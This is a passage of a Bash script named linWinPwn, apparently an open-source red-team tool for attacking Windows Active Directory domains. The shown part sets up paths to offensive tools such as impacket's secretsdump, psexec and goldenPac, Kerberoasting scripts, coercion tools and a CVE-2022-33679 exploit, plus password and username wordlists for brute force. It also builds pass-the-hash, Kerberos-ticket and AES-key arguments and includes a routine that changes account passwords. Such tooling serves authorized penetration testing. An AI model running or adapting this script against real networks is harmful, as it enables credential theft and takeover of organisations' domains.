/
linWinPwn.sh
4785 lines (4371 loc) · 243 KB
/
linWinPwn.sh
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#!/bin/bash
# Title: linWinPwn
# Author: lefayjey
#Colors
RED='\033[1;31m'
GREEN='\033[1;32m'
CYAN='\033[1;36m'
BLUE='\033[1;34m'
YELLOW='\033[1;33m'
PURPLE='\033[1;35m'
NC='\033[0m'
#Default variables
user=""
password=""
interactive_bool=true
output_dir="$(pwd)"
wordlists_dir="/opt/lwp-wordlists"
pass_wordlist="/usr/share/wordlists/rockyou.txt"
if [ ! -f "${pass_wordlist}" ]; then pass_wordlist="${wordlists_dir}/rockyou.txt"; fi
user_wordlist="/usr/share/seclists/Usernames/cirt-default-usernames.txt"
if [ ! -f "${user_wordlist}" ]; then user_wordlist="${wordlists_dir}/cirt-default-usernames.txt"; fi
attacker_interface="eth0"
attacker_IP=$(ip -f inet addr show $attacker_interface | sed -En -e 's/.*inet ([0-9.]+).*/\1/p')
curr_targets="Domain Controllers"
targets="DC"
custom_target_scanned=false
nullsess_bool=false
pass_bool=false
hash_bool=false
kerb_bool=false
aeskey_bool=false
cert_bool=false
autoconfig_bool=false
ldaps_bool=false
forcekerb_bool=false
verbose_bool=false
#Tools variables
scripts_dir="/opt/lwp-scripts"
netexec=$(which netexec)
impacket_findDelegation=$(which findDelegation.py)
if [ ! -f "${impacket_findDelegation}" ]; then impacket_findDelegation=$(which impacket-findDelegation); fi
impacket_GetUserSPNs=$(which GetUserSPNs.py)
if [ ! -f "${impacket_GetUserSPNs}" ]; then impacket_GetUserSPNs=$(which impacket-GetUserSPNs); fi
impacket_secretsdump=$(which secretsdump.py)
if [ ! -f "${impacket_secretsdump}" ]; then impacket_secretsdump=$(which impacket-secretsdump); fi
impacket_GetNPUsers=$(which GetNPUsers.py)
if [ ! -f "${impacket_GetNPUsers}" ]; then impacket_GetNPUsers=$(which impacket-GetNPUsers); fi
impacket_getTGT=$(which getTGT.py)
if [ ! -f "${impacket_getTGT}" ]; then impacket_getTGT=$(which impacket-getTGT); fi
impacket_goldenPac=$(which goldenPac.py)
if [ ! -f "${impacket_goldenPac}" ]; then impacket_goldenPac=$(which impacket-goldenPac); fi
impacket_rpcdump=$(which rpcdump.py)
if [ ! -f "${impacket_rpcdump}" ]; then impacket_rpcdump=$(which impacket-rpcdump); fi
impacket_reg=$(which reg.py)
if [ ! -f "${impacket_reg}" ]; then impacket_reg=$(which impacket-reg); fi
impacket_smbserver=$(which smbserver.py)
if [ ! -f "${impacket_smbserver}" ]; then impacket_smbserver=$(which impacket-smbserver); fi
impacket_ticketer=$(which ticketer.py)
if [ ! -f "${impacket_ticketer}" ]; then impacket_ticketer=$(which impacket-ticketer); fi
impacket_ticketconverter=$(which ticketConverter.py)
if [ ! -f "${impacket_ticketconverter}" ]; then impacket_ticketconverter=$(which impacket-ticketconverter); fi
impacket_getST=$(which getST.py)
if [ ! -f "${impacket_getST}" ]; then impacket_getST=$(which impacket-getST); fi
impacket_raiseChild=$(which raiseChild.py)
if [ ! -f "${impacket_raiseChild}" ]; then impacket_raiseChild=$(which impacket-raiseChild); fi
impacket_smbclient=$(which smbclient.py)
if [ ! -f "${impacket_smbclient}" ]; then impacket_smbclient=$(which impacket-smbexec); fi
impacket_smbexec=$(which smbexec.py)
if [ ! -f "${impacket_smbexec}" ]; then impacket_smbexec=$(which impacket-smbexec); fi
impacket_wmiexec=$(which wmiexec.py)
if [ ! -f "${impacket_wmiexec}" ]; then impacket_wmiexec=$(which impacket-wmiexec); fi
impacket_psexec=$(which psexec.py)
if [ ! -f "${impacket_psexec}" ]; then impacket_psexec=$(which impacket-psexec); fi
impacket_smbpasswd=$(which smbpasswd.py)
if [ ! -f "${impacket_smbpasswd}" ]; then impacket_smbpasswd=$(which impacket-smbpasswd); fi
enum4linux_py=$(which enum4linux-ng)
if [ ! -f "${enum4linux_py}" ]; then enum4linux_py="$scripts_dir/enum4linux-ng.py"; fi
bloodhound=$(which bloodhound-python)
ldapdomaindump=$(which ldapdomaindump)
smbmap=$(which smbmap)
adidnsdump=$(which adidnsdump)
certi_py=$(which certi.py)
certipy=$(which certipy)
ldeep=$(which ldeep)
pre2k=$(which pre2k)
certsync=$(which certsync)
hekatomb=$(which hekatomb)
manspider=$(which manspider)
coercer=$(which coercer)
donpapi=$(which DonPAPI)
bloodyad=$(which bloodyAD)
mssqlrelay=$(which mssqlrelay)
kerbrute="$scripts_dir/kerbrute"
silenthound="$scripts_dir/silenthound.py"
windapsearch="$scripts_dir/windapsearch"
CVE202233679="$scripts_dir/CVE-2022-33679.py"
targetedKerberoast="$scripts_dir/targetedKerberoast.py"
FindUncommonShares="$scripts_dir/FindUncommonShares.py"
ExtractBitlockerKeys="$scripts_dir/ExtractBitlockerKeys.py"
ldapconsole="$scripts_dir/ldapconsole.py"
pyLDAPmonitor="$scripts_dir/pyLDAPmonitor.py"
LDAPWordlistHarvester="$scripts_dir/LDAPWordlistHarvester.py"
rdwatool=$(which rdwatool)
aced="$scripts_dir/aced-main/aced.py"
sccmhunter="$scripts_dir/sccmhunter-main/sccmhunter.py"
ldapper="$scripts_dir/ldapper/ldapper.py"
orpheus="$scripts_dir/orpheus-main/orpheus.py"
krbjack=$(which krbjack)
adalanche="$scripts_dir/adalanche"
pygpoabuse="$scripts_dir/pyGPOAbuse-master/pygpoabuse.py"
GPOwned="$scripts_dir/GPOwned.py"
privexchange="$scripts_dir/privexchange.py"
RunFinger="$scripts_dir/Responder/RunFinger.py"
adPEAS=$(which adPEAS)
breads=$(which breads-ad)
nmap=$(which nmap)
john=$(which john)
print_banner () {
echo -e "
_ __ ___ ____
| |(_)_ __\ \ / (_)_ __ | _ \__ ___ __
| || | '_ \ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
| || | | | |\ V V / | | | | | __/ \ V V /| | | |
|_||_|_| |_| \_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
${BLUE}linWinPwn: ${CYAN}version 1.0.9 ${NC}
https://github.com/lefayjey/linWinPwn
${BLUE}Author: ${CYAN}lefayjey${NC}
${BLUE}Inspired by: ${CYAN}S3cur3Th1sSh1t's WinPwn${NC}
"
}
help_linWinPwn () {
print_banner
echo -e "${YELLOW}Parameters${NC}"
echo -e "-h/--help Show the help message"
echo -e "-t/--target IP Address of Target Domain Controller ${RED}[MANDATORY]${NC}"
echo -e "-d/--domain Domain of user (default: empty)"
echo -e "-u/--username Username (default: empty)"
echo -e "-p Password (NTLM authentication only) (default: empty)"
echo -e "-H LM:NT (NTLM authentication only) (default: empty)"
echo -e "-K Location to Kerberos ticket './krb5cc_ticket' (Kerberos authentication only) (default: empty)"
echo -e "-A AES Key (Kerberos authentication only) (default: empty)"
echo -e "-C Location to PFX Certificate './cert.pfx' (default: empty)"
echo -e "--cert-pass Password of provided PFX Certificate (optional)"
echo -e "--auto Run automatic enumeration"
echo -e "-o/--output Output directory (default: current dir)"
echo -e "--auto-config Run NTP sync with target DC and adds entry to /etc/hosts"
echo -e "--ldaps Use LDAPS instead of LDAP (port 636)"
echo -e "--force-kerb Use Kerberos authentication instead of NTLM when possible (requires password or NTLM hash)"
echo -e "--verbose Enable all verbose and debug outputs"
echo -e "-I/--interface Attacker's network interface (default: eth0)"
echo -e "-T/--targets Target systems for Vuln Scan, SMB Scan and Pwd Dump (default: Domain Controllers)"
echo -e " ${CYAN}Choose between:${NC} DC (Domain Controllers), All (All domain servers), File='path_to_file' (File containing list of servers), IP='IP_or_hostname' (IP or hostname)"
echo -e ""
echo -e "${YELLOW}Example usages${NC}"
echo -e "$(pwd)/$(basename "$0") -t dc_ip ${CYAN}(No password for anonymous login)${NC}" >&2;
echo -e "$(pwd)/$(basename "$0") -t dc_ip -d domain -u user [-p password or -H hash or -K kerbticket]" >&2;
echo -e ""
}
args=()
while test $# -gt 0; do
case $1 in
-t) dc_ip="${2}"; shift;; #mandatory
--target) dc_ip="${2}"; shift;; #mandatory
-d) domain="${2}"; shift;;
--domain) domain="${2}"; shift;;
-u) user="${2}"; shift;; #leave empty for anonymous login
--user) user="${2}"; shift;; #leave empty for anonymous login
-p) password="${2}"; if [ ! "${password}" == "" ]; then pass_bool=true; fi ; shift;; #password
-H) hash="${2}"; if [ ! "${hash}" == "" ]; then hash_bool=true; fi ; shift;; #NTLM hash
-K) krb5cc="${2}"; if [ ! "${krb5cc}" == "" ]; then kerb_bool=true; fi ; shift;; #location of krb5cc ticket
-A) aeskey="${2}"; if [ ! "${aeskey}" == "" ]; then aeskey_bool=true; fi ; shift;; #AES Key (128 or 256 bits)
-C) pfxcert="${2}"; if [ ! "${pfxcert}" == "" ]; then cert_bool=true; fi ; shift;; #location of PFX certificate
--cert-pass) pfxpass="${2}"; shift;; #Password of PFX certificate
-o) output_dir="$(realpath ${2})"; shift;;
--output) output_dir="$(realpath ${2})"; shift;;
-I) attacker_IP="$(ip -f inet addr show $2 | sed -En -e 's/.*inet ([0-9.]+).*/\1/p')"; attacker_interface=$2; shift;;
--interface) attacker_IP="$(ip -f inet addr show $2 | sed -En -e 's/.*inet ([0-9.]+).*/\1/p')"; attacker_interface=$2; shift;;
-T) targets="${2}"; shift;;
--targets) targets="${2}"; shift;;
--auto) interactive_bool=false; args+=($1);; #auto mode, disable interactive
--auto-config) autoconfig_bool=true; args+=($1);;
--ldaps) ldaps_bool=true; args+=($1);;
--force-kerb) forcekerb_bool=true; args+=($1);;
--verbose) verbose_bool=true; args+=($1);;
-h) help_linWinPwn; exit;;
--help) help_linWinPwn; exit;;
*) print_banner; echo -e "${RED}[-] Unknown option:${NC} ${1}"; echo -e "Use -h for help"; exit 1;;
esac
shift
done
set -- "${args[@]}"
run_command () {
echo "$(date +%Y-%m-%d\ %H:%M:%S); $@" >> $command_log
eval "$@"
}
prepare (){
if [ -z "$dc_ip" ] ; then
echo -e "${RED}[-] Missing target... ${NC}"
if [ ! -z "$domain" ] ; then
dig_ip=$(dig +short ${domain})
if [ ! -z "$dig_ip" ]; then echo -e "${YELLOW}[i]${NC} Provided domain resolves to ${dig_ip}! Try again with ${YELLOW}-t $dig_ip${NC}"; fi
fi
echo -e "${YELLOW}[i]${NC} Use -h for more help"
exit 1
elif [[ ! $dc_ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo -e "${RED}[-] Target is not an IP address... ${NC}"
dig_ip=$(dig +short ${dc_ip})
if [ ! -z "$dig_ip" ]; then echo -e "${YELLOW}[i]${NC} Provided target resolves to ${dig_ip}! Try again with ${YELLOW}-t $dig_ip${NC}"; fi
if [ ! -z "$domain" ] ; then
dig_ip=$(dig +short ${domain})
if [ ! -z "$dig_ip" ]; then echo -e "${YELLOW}[i]${NC} Provided domain resolves to ${dig_ip}! Try again with ${YELLOW}-t $dig_ip${NC}"; fi
fi
echo -e "${YELLOW}[i]${NC} Use -h for more help"
exit 1
fi
echo -e "${GREEN}[+] $(date)${NC}"
if [ ! -f "${netexec}" ] ; then
echo -e "${RED}[-] Please ensure netexec is installed and try again... ${NC}"
exit 1
else
dc_info=$(${netexec} smb ${dc_ip})
fi
dc_NETBIOS=$(echo $dc_info| cut -d ":" -f 2 | sed "s/) (domain//g" | head -n 1)
dc_domain=$(echo $dc_info | cut -d ":" -f 3 | sed "s/) (signing//g"| head -n 1)
dc_FQDN=${dc_NETBIOS}"."${dc_domain}
if [ -z "$dc_info" ] ; then
echo -e "${RED}[-] Error connecting to target! Please ensure the target is a Domain Controller and try again... ${NC}"
exit 1
elif [ -z "$dc_domain" ]; then
echo -e "${RED}[-] Error finding DC's domain, please specify domain... ${NC}"
exit 1
else
if [ -z "$domain" ]; then domain=$dc_domain; fi
fi
dc_open_ports=$(${nmap} -p 135,445,389,636 ${dc_ip} -sT -T5 --open)
if [[ $dc_open_ports == *"135/tcp"* ]]; then dc_port_135="${GREEN}open${NC}"; else dc_port_135="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"445/tcp"* ]]; then dc_port_445="${GREEN}open${NC}"; else dc_port_445="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"389/tcp"* ]]; then dc_port_389="${GREEN}open${NC}"; else dc_port_389="${RED}filtered|closed${NC}"; fi
if [[ $dc_open_ports == *"636/tcp"* ]]; then dc_port_636="${GREEN}open${NC}"; else dc_port_636="${RED}filtered|closed${NC}"; fi
if [ "${autoconfig_bool}" == true ]; then
echo -e "${BLUE}[*] NTP and /etc/hosts auto-config... ${NC}"
sudo timedatectl set-ntp 0
sudo ntpdate ${dc_ip}
if [[ ! $(grep ${dc_ip} "/etc/hosts" 2>/dev/null) ]]; then
echo -e "# /etc/hosts entry added by linWinPwn" | sudo tee -a /etc/hosts
echo -e "${dc_ip}\t${dc_domain} ${dc_FQDN} ${dc_NETBIOS}" | sudo tee -a /etc/hosts
else
echo -e "${PURPLE}[-] Target IP already present in /etc/hosts... ${NC}"
fi
fi
if [ "${user}" == "" ]; then user_out="null"; else user_out=${user}; fi
output_dir="${output_dir}/linWinPwn_${dc_domain}_${user_out}"
command_log="$output_dir/$(date +%Y-%m-%d)_command.log"
servers_ip_list="${output_dir}/DomainRecon/Servers/ip_list_${dc_domain}.txt"
dc_ip_list="${output_dir}/DomainRecon/Servers/dc_ip_list_${dc_domain}.txt"
sql_ip_list="${output_dir}/DomainRecon/Servers/sql_ip_list_${dc_domain}.txt"
servers_hostname_list="${output_dir}/DomainRecon/Servers/servers_list_${dc_domain}.txt"
dc_hostname_list="${output_dir}/DomainRecon/Servers/dc_list_${dc_domain}.txt"
sql_hostname_list="${output_dir}/DomainRecon/Servers/sql_list_${dc_domain}.txt"
custom_servers_list="${output_dir}/DomainRecon/Servers/custom_servers_list_${dc_domain}.txt"
target=${dc_ip}
target_servers=${servers_ip_list}
target_dc=${dc_ip_list}
target_sql=${sql_ip_list}
mkdir -p ${output_dir}/ADCS
mkdir -p ${output_dir}/BruteForce
mkdir -p ${output_dir}/Credentials
mkdir -p ${output_dir}/CommandExec
mkdir -p ${output_dir}/DomainRecon/Servers
mkdir -p ${output_dir}/DomainRecon/Users
mkdir -p ${output_dir}/Kerberos
mkdir -p ${output_dir}/Modification
mkdir -p ${output_dir}/Scans
mkdir -p ${output_dir}/Shares
mkdir -p ${output_dir}/Vulnerabilities
if [ ! -f ${servers_ip_list} ]; then /bin/touch ${servers_ip_list}; fi
if [ ! -f ${servers_hostname_list} ]; then /bin/touch ${servers_hostname_list}; fi
if [ ! -f ${dc_ip_list} ]; then /bin/touch ${dc_ip_list}; fi
if [ ! -f ${dc_hostname_list} ]; then /bin/touch ${dc_hostname_list}; fi
if [ ! -f "${user_wordlist}" ] ; then
echo -e "${RED}[-] Users list file not found${NC}"
fi
if [ ! -f "${pass_wordlist}" ] ; then
echo -e "${RED}[-] Passwords list file not found${NC}"
fi
echo -e ""
if [[ $targets == "DC" ]]; then
curr_targets="Domain Controllers"
elif [[ $targets == "All" ]]; then
curr_targets="All domain servers"
elif [[ $targets == "File="* ]]; then
curr_targets="File containing list of servers"
/bin/rm ${custom_servers_list} 2>/dev/null
custom_servers=$(echo $targets | cut -d "=" -f 2)
/bin/cp $custom_servers ${custom_servers_list} 2>/dev/null
if [ ! -s "${custom_servers_list}" ] ; then
echo -e "${RED}Invalid servers list.${NC} Choosing Domain Controllers as targets instead."
curr_targets="Domain Controllers"
custom_servers=""
fi
elif [[ $targets == "IP="* ]]; then
curr_targets="IP or hostname"
custom_ip=$(echo $targets | cut -d "=" -f 2)
/bin/rm ${custom_servers_list} 2>/dev/null
echo -n $custom_ip > ${custom_servers_list} 2>/dev/null
if [ ! -s "${custom_servers_list}" ] ; then
echo -e "${RED}Invalid servers list.${NC} Choosing Domain Controllers as targets instead."
curr_targets="Domain Controllers"
custom_ip=""
fi
else
echo -e "${RED}[-] Error invalid targets parameter. Choose between DC, All, File='./custom_list' or IP=IP_or_hostname... ${NC}"
exit 1
fi
}
authenticate (){
#Check if null session or empty password is used
if [ "${user}" == "" ] && [ "${password}" == "" ] && [ "${hash}" == "" ] && [ "${krb5cc}" == "" ] && [ "${aeskey}" == "" ] && [ "${pfxcert}" == "" ]; then
nullsess_bool=true
rand_user=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 10; echo)
argument_ne="-d ${domain} -u '' -p ''"
argument_smbmap="-d ${domain} -u '' -p ''"
argument_manspider="-d ${domain} -u '' -p ''"
argument_coercer="-d ${domain} -u '' -p ''"
argument_bloodyad="-d ${domain} -u '' -p ''"
argument_privexchange="-d ${domain} -u '' -p ''"
argument_windap="-d ${domain}"
argument_adidns=""
argument_ldd=""
argument_silenthd=""
argument_enum4linux=""
argument_imp="${domain}/"
argument_imp_gp="${domain}/"
argument_ldeep="-d ${dc_domain} -a"
argument_pre2k="-d ${domain}"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}null session ${NC}"
#Check if username is not provided
elif [ "${user}" == "" ]; then
echo -e "${RED}[i]${NC} Please specify username and try again..."
exit 1
fi
if [ "${pass_bool}" == true ] ; then
argument_ne="-d ${domain} -u ${user} -p ${password}"
argument_imp="${domain}/${user}:${password}"
argument_imp_gp="${domain}/${user}:${password}"
argument_imp_ti="-user ${user} -password ${password} -domain ${domain}"
argument_bhd="-u ${user}\\@${domain} -p ${password} --auth-method ntlm"
argument_enum4linux="-w ${domain} -u ${user} -p ${password}"
argument_adidns="-u ${domain}\\\\${user} -p ${password}"
argument_ldd="-u ${domain}\\\\${user} -p ${password}"
argument_smbmap="-d ${domain} -u ${user} -p ${password}"
argument_certi_py="${domain}/${user}:${password}"
argument_certipy="-u ${user}\\@${domain} -p ${password}"
argument_ldeep="-d ${domain} -u ${user} -p ${password}"
argument_pre2k="-d ${domain} -u ${user} -p ${password}"
argument_certsync="-d ${domain} -u ${user} -p ${password}"
argument_donpapi="${domain}/${user}:${password}"
argument_hekatomb="${domain}/${user}:${password}"
argument_silenthd="-u ${domain}\\\\${user} -p ${password}"
argument_windap="-d ${domain} -u ${user} -p ${password}"
argument_targkerb="-d ${domain} -u ${user} -p ${password}"
argument_p0dalirius="-d ${domain} -u ${user} -p ${password}"
argument_manspider="-d ${domain} -u ${user} -p ${password}"
argument_coercer="-d ${domain} -u ${user} -p ${password}"
argument_bloodyad="-d ${domain} -u ${user} -p ${password}"
argument_aced="${domain}/${user}:${password}"
argument_sccm="-d ${domain} -u ${user} -p ${password}"
argument_ldapper="-D ${domain} -U ${user} -P ${password}"
argument_adalanche="--authmode ntlm --username ${user}\\@${domain} --password ${password}"
argument_mssqlrelay="-u ${user}\\@${domain} -p ${password}"
argument_pygpoabuse="${domain}/${user}:${password}'"
argument_GPOwned="-d ${domain} -u ${user} -p ${password}"
argument_privexchange="-d ${domain} -u ${user} -p ${password}"
argument_adpeas="-d ${domain} -u ${user} -p ${password}"
hash_bool=false
kerb_bool=false
unset KRB5CCNAME
aeskey_bool=false
cert_bool=false
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}password of ${user}${NC}"
fi
#Check if NTLM hash is used, and complete with empty LM hash / Check if Certificate is provided for PKINIT
if [ "${hash_bool}" == true ] || [ "${cert_bool}" == true ]; then
if [ "${cert_bool}" == true ]; then
echo -e "${YELLOW}[!]${NC} WARNING only ldeep and bloodyAD currently support certificate authentication.${NC}"
echo -e "${YELLOW}[!]${NC} Extracting the NTLM hash of the user using PKINIT and using PtH for all other tools${NC}"
pkinit_auth
$(which openssl) pkcs12 -in "${pfxcert}" -out "${output_dir}/Credentials/${user}.pem" -nodes -passin pass:""
if [ -f "${output_dir}/Credentials/${user}.pem" ]; then
pem_cert="${output_dir}/Credentials/${user}.pem"
echo -e "${GREEN}[+] PFX Certificate converted to PEM successfully:${NC} ${output_dir}/Credentials/${user}.pem"
fi
argument_bloodyad="-d ${domain} -u ${user} -c :${pem_cert}"
argument_ldeep="-d ${domain} -u ${user} --pfx-file ${pfxcert}"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}Certificate of $user located at $(realpath $pfxcert)${NC}"
hash_bool=true
else
if ([ "${#hash}" -eq 65 ] && [ "$(expr substr $hash 33 1)" == ":" ]) || ([ "${#hash}" -eq 33 ] && [ "$(expr substr $hash 1 1)" == ":" ]) || ([ "${#hash}" -eq 32 ] ); then
if [ "$(echo $hash | grep ':' )" == "" ] ; then
hash=":"$hash
fi
if [ "$(echo $hash | cut -d ":" -f 1)" == "" ] ; then
hash="aad3b435b51404eeaad3b435b51404ee"$hash
fi
argument_ne="-d ${domain} -u ${user} -H ${hash}"
argument_imp=" -hashes ${hash} ${domain}/${user}"
argument_imp_gp=" -hashes ${hash} ${domain}/${user}"
argument_imp_ti="-user ${user} -hashes ${hash} -domain ${domain}"
argument_bhd="-u ${user}\\@${domain} --hashes ${hash} --auth-method ntlm"
argument_enum4linux="-w ${domain} -u ${user} -H $(expr substr $hash 34 65)"
argument_adidns="-u ${domain}\\\\${user} -p ${hash}"
argument_ldd="-u ${domain}\\\\${user} -p ${hash}"
argument_smbmap="-d ${domain} -u ${user} -p ${hash}"
argument_certi_py="${domain}/${user} --hashes ${hash}"
argument_certipy="-u ${user}\\@${domain} -hashes ${hash}"
argument_pre2k="-d ${domain} -u ${user} -hashes ${hash}"
argument_certsync="-d ${domain} -u ${user} -hashes ${hash}"
argument_donpapi=" -H ${hash} ${domain}/${user}"
argument_hekatomb="-hashes ${hash} ${domain}/${user}"
argument_silenthd="-u ${domain}\\\\${user} --hashes ${hash}"
argument_windap="-d ${domain} -u ${user} --hash ${hash}"
argument_targkerb="-d ${domain} -u ${user} -H ${hash}"
argument_p0dalirius="-d ${domain} -u ${user} -H $(expr substr $hash 34 65)"
argument_manspider="-d ${domain} -u ${user} -H $(expr substr $hash 34 65)"
argument_coercer="-d ${domain} -u ${user} --hashes ${hash}"
argument_aced=" -hashes ${hash} ${domain}/${user}"
argument_sccm="-d ${domain} -u ${user} -hashes ${hash}"
argument_ldapper="-D ${domain} -U ${user} -P ${hash}"
argument_ldeep="-d ${domain} -u ${user} -H ${hash}"
argument_bloodyad="-d ${domain} -u ${user} -p ${hash}"
argument_adalanche="--authmode ntlmpth --username ${user}\\@${domain} --password ${hash}"
argument_mssqlrelay="-u ${user}\\@${domain} -hashes ${hash}"
argument_pygpoabuse=" -hashes ${hash} ${domain}/${user}"
argument_GPOwned="-d ${domain} -u ${user} -hashes ${hash}"
argument_privexchange="-d ${domain} -u ${user} --hashes ${hash}"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}NTLM hash of ${user}${NC}"
else
echo -e "${RED}[i]${NC} Incorrect format of NTLM hash..."
exit 1
fi
fi
pass_bool=false
kerb_bool=false
unset KRB5CCNAME
aeskey_bool=false
fi
#Check if kerberos ticket is used
if [ "${kerb_bool}" == true ] ; then
argument_ne="-d ${domain} -u ${user} --use-kcache"
pass_bool=false
hash_bool=false
aeskey_bool=false
cert_bool=false
forcekerb_bool=false
if [ -f "${krb5cc}" ] ; then
target=${dc_FQDN}
target_dc=${dc_hostname_list}
target_sql=${sql_hostname_list}
target_servers=${servers_hostname_list}
export KRB5CCNAME=$(realpath $krb5cc)
argument_imp="-k -no-pass ${domain}/${user}"
argument_enum4linux="-w ${domain} -u ${user} -K ${krb5cc}"
argument_bhd="-u ${user}\\@${domain} -k -no-pass -p '' --auth-method kerberos"
argument_certi_py="${domain}/${user} -k --no-pass"
argument_certipy="-u ${user}\\@${domain} -k -no-pass -target ${dc_FQDN}"
argument_ldeep="-d ${domain} -u ${user} -k"
argument_pre2k="-d ${domain} -u ${user} -k -no-pass"
argument_certsync="-d ${domain} -u ${user} -use-kcache -no-pass -k"
argument_donpapi="-k -no-pass ${domain}/${user}"
argument_targkerb="-d ${domain} -u ${user} -k --no-pass"
argument_p0dalirius="-d ${domain} -u ${user} -k --no-pass"
argument_bloodyad="-d ${domain} -u ${user} -k"
argument_aced="-k -no-pass ${domain}/${user}"
argument_sccm="-d ${domain} -u ${user} -k --no-pass"
argument_mssqlrelay="-u ${user}\\@${domain} -k -no-pass"
argument_pygpoabuse="${domain}/${user} -k -ccache $(realpath $krb5cc)"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}Kerberos Ticket of $user located at $(realpath $krb5cc)${NC}"
else
echo -e "${RED}[i]${NC} Error accessing provided Kerberos ticket $(realpath $krb5cc)..."
exit 1
fi
fi
#Check if kerberos AES key is used
if [ "${aeskey_bool}" == true ] ; then
target=${dc_FQDN}
target_dc=${dc_hostname_list}
target_sql=${sql_hostname_list}
target_servers=${servers_hostname_list}
argument_ne="-d ${domain} -u ${user} --aesKey ${aeskey}"
argument_imp="-aesKey ${aeskey} ${domain}/${user}"
argument_bhd="-u ${user}\\@${domain} -aesKey ${aeskey} --auth-method kerberos"
argument_certi_py="${domain}/${user} --aes ${aeskey} -k"
argument_certipy="-u ${user}\\@${domain} -aes ${aeskey} -target ${dc_FQDN}"
argument_pre2k="-d ${domain} -u ${user} -aes ${aeskey} -k"
argument_certsync="-d ${domain} -u ${user} -aesKey ${aeskey} -k"
argument_donpapi="-k -aesKey ${aeskey} ${domain}/${user}"
argument_targkerb="-d ${domain} -u ${user} --aes-key ${aeskey} -k"
argument_p0dalirius="-d ${domain} -u ${user} --aes-key ${aeskey} -k"
argument_aced="-aes ${aeskey} ${domain}/${user}"
argument_sccm="-d ${domain} -u ${user} -aes ${aeskey}"
argument_mssqlrelay="-u ${user}\\@${domain} -aes ${aeskey} -k"
pass_bool=false
hash_bool=false
kerb_bool=false
unset KRB5CCNAME
cert_bool=false
forcekerb_bool=false
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}AES Kerberos key of ${user}${NC}"
fi
if [ "${nullsess_bool}" == false ] ; then
auth_check=$(run_command "${netexec} smb ${target} ${argument_ne}" 2>&1| grep "\[-\]\|Traceback" -A 10 2>&1)
if [ ! -z "$auth_check" ] ; then
echo $auth_check
if [ $auth_check == *"STATUS_PASSWORD_MUST_CHANGE"* ] || [ $auth_check == *"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"* ]; then
if [ ! -f "${impacket_smbpasswd}" ] ; then
echo -e "${RED}[-] smbpasswd.py not found! Please verify the installation of impacket${NC}"
elif [ "${kerb_bool}" == true ] || [ "${aeskey_bool}" == true ]; then
echo -e "${PURPLE}[-] smbpasswd does not support kerberos authentication${NC}"
else
pass_passchange=""
if [ $auth_check == *"STATUS_PASSWORD_MUST_CHANGE"* ]; then
echo -e "${BLUE}[*] Changing expired password of own user. Please specify new password:${NC}"
read -p ">> " pass_passchange </dev/tty
while [ "${pass_passchange}" == "" ] ; do
echo -e "${RED}Invalid password.${NC} Please specify password:"
read -p ">> " pass_passchange </dev/tty
done
echo -e "${CYAN}[*] Changing password of ${user} to ${pass_passchange}${NC}"
run_command "${impacket_smbpasswd} ${argument_imp}\\@${dc_ip} -newpass ${pass_passchange}" | tee -a ${output_dir}/Modification/impacket_smbpasswd_${dc_domain}.txt
elif [ $auth_check == *"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"* ]; then
echo -e "${BLUE}[*] Changing password of pre created computer account. Please specify new password:${NC}"
read -p ">> " pass_passchange </dev/tty
while [ "${pass_passchange}" == "" ] ; do
echo -e "${RED}Invalid password.${NC} Please specify password:"
read -p ">> " pass_passchange </dev/tty
done
authuser_passchange=""
echo -e "${BLUE}[*] Please specify username for RPC authentication:${NC}"
read -p ">> " authuser_passchange </dev/tty
while [ "${pass_passchange}" == "" ] ; do
echo -e "${RED}Invalid username.${NC} Please specify username:"
read -p ">> " authuser_passchange </dev/tty
done
authpass_passchange=""
echo -e "${BLUE}[*] Please specify password for RPC authentication:${NC}"
read -p ">> " authpass_passchange </dev/tty
while [ "${pass_passchange}" == "" ] ; do
echo -e "${RED}Invalid password.${NC} Please specify password:"
read -p ">> " authpass_passchange </dev/tty
done
echo -e "${CYAN}[*] Changing password of ${user} to ${pass_passchange}${NC}"
run_command "${impacket_smbpasswd} ${argument_imp}\\@${dc_ip} -newpass ${pass_passchange} -altuser ${authuser_passchange} -altpass ${authpass_passchange}" | tee -a ${output_dir}/Modification/impacket_smbpasswd_${dc_domain}.txt
fi
password="${pass_passchange}"
auth_check=""
authenticate
fi
echo -e ""
fi
echo -e "${RED}[-] Error authenticating to domain! Please check your credentials and try again... ${NC}"
exit 1
fi
fi
if [ "${forcekerb_bool}" == true ] ; then
argument_ne="${argument_ne} -k"
fi
if [ "${verbose_bool}" == true ] ; then
ne_verbose="--verbose"
argument_imp="-debug ${argument_imp}"
argument_imp_gp="-debug ${argument_imp_gp}"
argument_imp_ti="-debug ${argument_imp_ti}"
argument_enum4linux="${argument_enum4linux} -v"
argument_bhd="${argument_bhd} -v"
argument_adidns="${argument_adidns} -v -d"
argument_pre2k="${argument_pre2k} -verbose"
argument_certsync="${argument_certsync} -debug"
argument_donpapi="-d ${argument_donpapi}"
argument_hekatomb="-debug ${argument_hekatomb}"
argument_windap="${argument_windap} -v --debug"
argument_targkerb="${argument_targkerb} -v"
argument_kerbrute="-v"
argument_manspider="${argument_manspider} -v"
argument_coercer="${argument_coercer} -v"
argument_CVE202233679="-debug"
argument_bloodyad="-v DEBUG ${argument_bloodyad}"
argument_aced="-debug ${argument_aced}"
argument_sccm="-debug ${argument_sccm}"
mssqlrelay_verbose="-debug"
adalanche_verbose="--loglevel Debug"
argument_pygpoabuse="${argument_pygpoabuse} -vv"
argument_privexchange="${argument_privexchange} --debug"
fi
echo -e ${auth_string}
}
parse_servers () {
/bin/cat ${output_dir}/DomainRecon/Servers/servers_list_*_${dc_domain}.txt 2>/dev/null | sed -e 's/ //' -e 's/\$//' -e 's/.*/\U&/' | sort -uf > ${servers_hostname_list} 2>&1
